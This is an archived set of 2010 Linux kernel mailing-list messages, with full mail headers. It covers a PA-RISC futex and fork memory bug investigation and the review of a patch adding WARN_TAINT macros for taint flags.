DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=/YoIB2fzyp/1PeTpdo+AvVlwcIe95Eh3Jbbq+5jpMmM=;
        b=IweRQCFcPGMJXbgZnTpYuWcAKVf4ZBey2TgeWrocPfj2k7gJ6PMy2WplyfPPA7vAud
         6yjXMlte8yHtmbfdFa7kxHzbmXsFcQb2P6O4A2hVl37IooqmtLl8nFT5KA34ZnZBfYZt
         YZHU1Wg7KAijdXGfpsUMMih/XrlemT19zEGF4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Grk0wLh8+2z/bK52EuSmTn34ZnoPvZJ276GeY31KixMOE47LRT8sT6P7ytK0OU1JRs
         65lYqy4Bb8IUtvHQCRow+vwxFOIKtk8CHUGklI+M8zFAiCc6Ifs+9UBer8QQeksfP1DG
         a67Ibh5cGIiSFFLzX9NIe4SajuFJZ1kxPwfro=
Original-Received: by 10.216.162.204 with SMTP id y54mr2741247wek.224.1269267978187; 
	Mon, 22 Mar 2010 07:26:18 -0700 (PDT)
In-Reply-To: <20100321181935.GA19525@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 196b3c5d0e47e8c0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2698>

On Sun, Mar 21, 2010 at 2:19 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> I added an illegal instruction abort to the child. =A0In this case,
> the thread_run loop counter was 48085 when the page was copied and
> the before value was zero.
>
> One thought that has crossed my mind is that the memory pages allocat=
ed
> for the stack region used by the thread are somehow getting interchan=
ged
> between parent and child by the fork operation. =A0This happens fairl=
y
> late as both the parent and thread are executing post fork at the tim=
e
> this happens. =A0Possibly, this is part of the bug.
>
> I have looked at entry.S and pacache.S quite a bit and it's not obvio=
us
> how this could happen, although I must admit to not fully understandi=
ng
> the tmp alias code. =A0I tend to think the bug is in the core mm code=
=2E
>
> I see a few cleanups to entry.S. =A0We didn't kill the misnamed macro=
s
> (DEP, DEPI and EXTR) for example. =A0But I don't think these are the =
problem.

Dave,

Thank you for another test case. I agree, I also think the bug is in
the core mm code, which I am also trying to review and understand. I
haven't been able to make much progress in this area though. I'll keep
you updated when I spot something I think is wrong.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed
 from TAINT_WARN
Date: Mon, 22 Mar 2010 22:47:33 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20100322224733.9cf93a0a.akpm@linux-foundation.org>
References: <1269126097.18314.111.camel@localhost>
	<1269126340.18314.115.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269323336 14068 80.91.229.12 (23 Mar 2010 05:48:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 05:48:56 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-pci-owner@vger.kernel.org Tue Mar 23 06:48:50 2010
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1Ntwyw-000187-Bh
	for glp-linux-pci@lo.gmane.org; Tue, 23 Mar 2010 06:48:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752022Ab0CWFst (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Tue, 23 Mar 2010 01:48:49 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:51270 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751755Ab0CWFss (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Tue, 23 Mar 2010 01:48:48 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o2N5mPtT008778
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 22 Mar 2010 22:48:26 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id o2N5mOC9016653;
	Mon, 22 Mar 2010 22:48:25 -0700
In-Reply-To: <1269126340.18314.115.camel@localhost>
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.7; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-2.858 required=5 tests=AWL,BAYES_00,DATE_IN_PAST_03_06,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:8194 gmane.linux.kernel:964981 gmane.linux.ports.parisc:2699 gmane.linux.ports.ppc64.devel:65477 gmane.linux.ports.sh.devel:7704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2699>

On Sat, 20 Mar 2010 23:05:40 +0000 Ben Hutchings <ben@decadent.org.uk> wrote:

> WARN() is used in some places to report firmware or hardware bugs that
> are then worked-around.  These bugs do not affect the stability of the
> kernel and should not set the usual TAINT_WARN flag.  To allow for
> this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> flag as argument.
> 
> Architectures that implement warnings using trap instructions instead
> of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
> instead of __WARN().

When you say they "must now implement", I assume that you mean that
they _do_ now implement, and that no additional architecture work is
needed.

> The architecture-specific changes here are untested and need to be
> reviewed by architecture maintainers.

That would be nice.

From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed from TAINT_WARN
Date: Tue, 23 Mar 2010 16:45:46 +0900
Lines: 35
Approved: news@gmane.org
Message-ID: <20100323074546.GK13417@linux-sh.org>
References: <1269126097.18314.111.camel@localhost> <1269126340.18314.115.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269330431 31689 80.91.229.12 (23 Mar 2010 07:47:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 07:47:11 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-pci-owner@vger.kernel.org Tue Mar 23 08:47:06 2010
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1NtypN-0005Ss-Hb
	for glp-linux-pci@lo.gmane.org; Tue, 23 Mar 2010 08:47:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753030Ab0CWHrE (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Tue, 23 Mar 2010 03:47:04 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:51768 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751225Ab0CWHrA (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Tue, 23 Mar 2010 03:47:00 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 67DA463773;
	Tue, 23 Mar 2010 07:45:47 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nqs+pnN0RIB7; Tue, 23 Mar 2010 16:45:46 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 5B4A563777; Tue, 23 Mar 2010 16:45:46 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <1269126340.18314.115.camel@localhost>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:8195 gmane.linux.kernel:965004 gmane.linux.ports.parisc:2700 gmane.linux.ports.ppc64.devel:65486 gmane.linux.ports.sh.devel:7708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2700>

On Sat, Mar 20, 2010 at 11:05:40PM +0000, Ben Hutchings wrote:
> WARN() is used in some places to report firmware or hardware bugs that
> are then worked-around.  These bugs do not affect the stability of the
> kernel and should not set the usual TAINT_WARN flag.  To allow for
> this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> flag as argument.
> 
> Architectures that implement warnings using trap instructions instead
> of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
> instead of __WARN().
> 
> Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
> ---
> The architecture-specific changes here are untested and need to be
> reviewed by architecture maintainers.
> 
I'm a bit confused about how this is supposed to work, the TAINT_xxx
values are bit positions presently from 0 to 10, while BUGFLAG_xxx are
ranged from 0 up. You've set up BUGFLAG_TAINT() to that the TAINT_xxx
value is shifted up 8 bits but neglected the fact that the trap type is
16-bits on most (all?) of the platforms using trap-based BUG handling.

If the 'taint' in question is just the TAINT_xxx value by itself and will
never be a bitmap then that's fine, but there's certainly not enough room
to pass the bitmap in on top of the bugflag otherwise (I don't know if
this is your intention or not though).

Also note that some platforms (like SH) implement additional bugflags, so
we at least want to keep the lower byte available for architecture
private use.

Having said that, the current patch does work for me, although I'm a bit
nervous about someone thinking it's ok to pass in a taint bitmap here.

Tested-by: Paul Mundt <lethal@linux-sh.org>

From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed
 from TAINT_WARN
Date: Tue, 23 Mar 2010 13:20:40 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <1269350440.18314.257.camel@localhost>
References: <1269126097.18314.111.camel@localhost>
	 <1269126340.18314.115.camel@localhost>
	 <20100322224733.9cf93a0a.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-d99/iIr57rL8zfJ8/KM1"
X-Trace: dough.gmane.org 1269351306 5332 80.91.229.12 (23 Mar 2010 13:35:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 13:35:06 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Mar 23 14:34:56 2010
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1Nu4Fz-0001dm-4D
	for glps-linuxsh-dev@lo.gmane.org; Tue, 23 Mar 2010 14:34:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753139Ab0CWNVA (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 23 Mar 2010 09:21:00 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:37014 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752500Ab0CWNU7 (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 23 Mar 2010 09:20:59 -0400
Original-Received: from deadeye.i.decadent.org.uk ([192.168.4.185] helo=localhost)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <ben@decadent.org.uk>)
	id 1Nu42D-0005In-OR; Tue, 23 Mar 2010 13:20:42 +0000
Original-Received: from ben by localhost with local (Exim 4.71)
	(envelope-from <ben@decadent.org.uk>)
	id 1Nu42C-00088D-UX; Tue, 23 Mar 2010 13:20:40 +0000
In-Reply-To: <20100322224733.9cf93a0a.akpm@linux-foundation.org>
X-Mailer: Evolution 2.28.3 
X-SA-Exim-Connect-IP: 192.168.4.185
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	shadbolt.decadent.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED
	autolearn=disabled version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:14:11 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.decadent.org.uk)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:7715 gmane.linux.kernel.pci:8196 gmane.linux.kernel:965112 gmane.linux.ports.parisc:2701 gmane.linux.ports.ppc64.devel:65493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2701>


--=-d99/iIr57rL8zfJ8/KM1
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Mon, 2010-03-22 at 22:47 -0400, Andrew Morton wrote:
> On Sat, 20 Mar 2010 23:05:40 +0000 Ben Hutchings <ben@decadent.org.uk> wr=
ote:
>=20
> > WARN() is used in some places to report firmware or hardware bugs that
> > are then worked-around.  These bugs do not affect the stability of the
> > kernel and should not set the usual TAINT_WARN flag.  To allow for
> > this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> > flag as argument.
> >=20
> > Architectures that implement warnings using trap instructions instead
> > of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
> > instead of __WARN().
>=20
> When you say they "must now implement", I assume that you mean that
> they _do_ now implement, and that no additional architecture work is
> needed.

Right, I believe I fixed-up all the current architectures.  There might
be more architectures out there, unmerged as yet.

Ben.

--=20
Ben Hutchings
Any smoothly functioning technology is indistinguishable from a rigged demo=
.

--=-d99/iIr57rL8zfJ8/KM1
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQIVAwUAS6jAJ+e/yOyVhhEJAQJv7Q//WaB+psqYAejEQ4/OHpLiyVFSZmuopC4y
6vt4ssus/bhYkoH+j1FhWijj7Se1ybN2VgF0tVzdydORTeVaUZBwok3ZXVlCSqR1
uD2ca6YyVbL6fPYwzoYQALXIE1edYVfCzifCJgH+DQM31fpkBDtgxXp84i1Bp1jE
HgNlKP3qaHmHCGY2N2JIT9RCihKfgXEypyntGlSXnNrW4IpvxyDpGMHJufAHvQj6
YAE0S7LH1DDodYUYEl1PckmFjMil+RdhREXRAlME5TvovOlpgPPJ7IyJ6rN1O9S+
wDL1btV4L1Y+/6H0Vvy062dN0cvOw2TH+JMvzme1tn1LW9e/7Imr+RJ4fT0WJ9i4
Uo9BoiSRrXg0e/eOtYKXD0vg7nhOkeaXG8daxCz3prlPJqPEGzfUCWBlE84L6zqx
TxG0HM/5PNBHFArTgy5lMIPc2SMgD/wIUU3d3yCLjHahGiQSTTwgMI6p++57R7ny
k5trUHgN62vsNMxQ7eKGoG/v6h6qSy5MRa74IGfaxbszwIik40ZW1DOvkJB1VROi
KeTZ73yKK6yLgQEgDifcMD/cDvLG3p1o7wvCjk69K3hCXi7d68Anc9vp2DAW1rlO
9mNj72u98MzHRkO2X3WH+rmdj0EMz4gYNBxJzo0BGYnEEpCogr0nirJTGzam5MpN
xHRqjrePWG0=
=2Hjx
-----END PGP SIGNATURE-----

--=-d99/iIr57rL8zfJ8/KM1--
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed
 from TAINT_WARN
Date: Tue, 23 Mar 2010 13:23:00 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <1269350580.18314.260.camel@localhost>
References: <1269126097.18314.111.camel@localhost>
	 <1269126340.18314.115.camel@localhost>
	 <20100323074546.GK13417@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-JxBzKjEiI/A3c1PVSdDJ"
X-Trace: dough.gmane.org 1269351320 5398 80.91.229.12 (23 Mar 2010 13:35:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 13:35:20 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Paul Mundt <lethal@linux-sh.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 23 14:35:10 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Nu4G3-0001dm-HV
	for glk-linux-kernel-3@lo.gmane.org; Tue, 23 Mar 2010 14:34:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753327Ab0CWNXO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 23 Mar 2010 09:23:14 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:42295 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751351Ab0CWNXM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 23 Mar 2010 09:23:12 -0400
Original-Received: from deadeye.i.decadent.org.uk ([192.168.4.185] helo=localhost)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <ben@decadent.org.uk>)
	id 1Nu44S-0005JE-Ui; Tue, 23 Mar 2010 13:23:01 +0000
Original-Received: from ben by localhost with local (Exim 4.71)
	(envelope-from <ben@decadent.org.uk>)
	id 1Nu44S-00088l-5P; Tue, 23 Mar 2010 13:23:00 +0000
In-Reply-To: <20100323074546.GK13417@linux-sh.org>
X-Mailer: Evolution 2.28.3 
X-SA-Exim-Connect-IP: 192.168.4.185
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	shadbolt.decadent.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED
	autolearn=disabled version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:14:11 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.decadent.org.uk)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:965116 gmane.linux.kernel.pci:8197 gmane.linux.ports.parisc:2702 gmane.linux.ports.ppc64.devel:65494 gmane.linux.ports.sh.devel:7716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2702>


--=-JxBzKjEiI/A3c1PVSdDJ
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Tue, 2010-03-23 at 16:45 +0900, Paul Mundt wrote:
> On Sat, Mar 20, 2010 at 11:05:40PM +0000, Ben Hutchings wrote:
> > WARN() is used in some places to report firmware or hardware bugs that
> > are then worked-around.  These bugs do not affect the stability of the
> > kernel and should not set the usual TAINT_WARN flag.  To allow for
> > this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> > flag as argument.
> >=20
> > Architectures that implement warnings using trap instructions instead
> > of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
> > instead of __WARN().
> >=20
> > Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
> > ---
> > The architecture-specific changes here are untested and need to be
> > reviewed by architecture maintainers.
> >=20
> I'm a bit confused about how this is supposed to work, the TAINT_xxx
> values are bit positions presently from 0 to 10, while BUGFLAG_xxx are
> ranged from 0 up. You've set up BUGFLAG_TAINT() to that the TAINT_xxx
> value is shifted up 8 bits but neglected the fact that the trap type is
> 16-bits on most (all?) of the platforms using trap-based BUG handling.
>=20
> If the 'taint' in question is just the TAINT_xxx value by itself and will
> never be a bitmap then that's fine, but there's certainly not enough room
> to pass the bitmap in on top of the bugflag otherwise (I don't know if
> this is your intention or not though).

Yes, the taint value must be a bit number not a flag.  Sloppy wording on
my part.

> Also note that some platforms (like SH) implement additional bugflags, so
> we at least want to keep the lower byte available for architecture
> private use.

I noticed, that's why I started at 8 not 1.

> Having said that, the current patch does work for me, although I'm a bit
> nervous about someone thinking it's ok to pass in a taint bitmap here.

We can maybe use BUILD_BUG_ON() here as the taint bit is already
required to be a compile-time constant.

Ben.

> Tested-by: Paul Mundt <lethal@linux-sh.org>
>=20

--=20
Ben Hutchings
Any smoothly functioning technology is indistinguishable from a rigged demo=
.

--=-JxBzKjEiI/A3c1PVSdDJ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQIVAwUAS6jAsue/yOyVhhEJAQKuLRAAo8lRcJIYqpklZT6Ct5UkFmnwQBWniN/J
O8B6FmzAV8e44xkctJegxtmxMBQETjVOmcR6YC0KtzZXQ1VRSzF7kNaQ1i4V5uXn
aBSXf82IxdIs7h9wDWqOH2uXtrheLeEhKTvTyGKEzGsc0t28l2cMUocxsjlFU8VW
oAenqoHUbJAkPvpC1fP8bT42C9rxm5AcO/py0pyqtC+gPaOs/J+606IClqlE4bXi
ZHltMfpoFzBWQLJ7ZB7Aeu1vwFozybSfeoz9/p54BjMhcRcmQTaTSBUfKeyC5EsS
Q8GbKYFtIwKhdnLJ9QNfuiO+0u3/G3dkPHRWVJdivNpplncsrYYTDlKJV+ivRtV1
6xuJVjIONPh5VwEHkqEbYfEdqf9WFHvUbDWOxeMjQ82vuzObFDgR97oIFcwu5X+e
Qbl8XVnRQtk3BhblMnfrDBuwYuudgqMaiuTwYSmQWAoJpL5ftwQRXXYszFrHWVkA
wMVUL9V+Cke4xkvxt0szxBo7y20Je+6OnOj/u3G04cK2f2gdAG7yWXm1x6K5jxjc
OIVB/hzMuLLT3oW9h/gy3OT617X8wz5W83oqH8jcxsBG34QmpWuCYvhXFWF1DkAg
vbxLwPzg4JYcxLjpsJ5ZGuREyf+DQVGu323BV9IdR/JHUahaI73bZ1/L9jo7VKSw
IPYASs3GZ2M=
=xrOe
-----END PGP SIGNATURE-----

--=-JxBzKjEiI/A3c1PVSdDJ--

From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 23 Mar 2010 17:32:11 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <119aab441003231432nefa1848u86a9313fc1e45a5f@mail.gmail.com>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca>
	 <20100307203230.CAC964E77@hiauly1.hia.nrc.ca>
	 <20100311032049.GA14312@hiauly1.hia.nrc.ca>
	 <20100311135418.GA22698@bombadil.infradead.org>
	 <20100311224044.GA18789@hiauly1.hia.nrc.ca>
	 <20100313020647.GA26384@hiauly1.hia.nrc.ca>
	 <20100315011024.GA7309@hiauly1.hia.nrc.ca>
	 <119aab441003160449n11cf5272qb9d15fa97625dd7d@mail.gmail.com>
	 <20100321181935.GA19525@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269379944 23543 80.91.229.12 (23 Mar 2010 21:32:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Mar 2010 21:32:24 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 23 22:32:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NuBhv-0007dz-HF
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Mar 2010 22:32:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753962Ab0CWVcO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Mar 2010 17:32:14 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:47681 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753850Ab0CWVcN convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Mar 2010 17:32:13 -0400
Original-Received: by wwe15 with SMTP id 15so4439675wwe.19
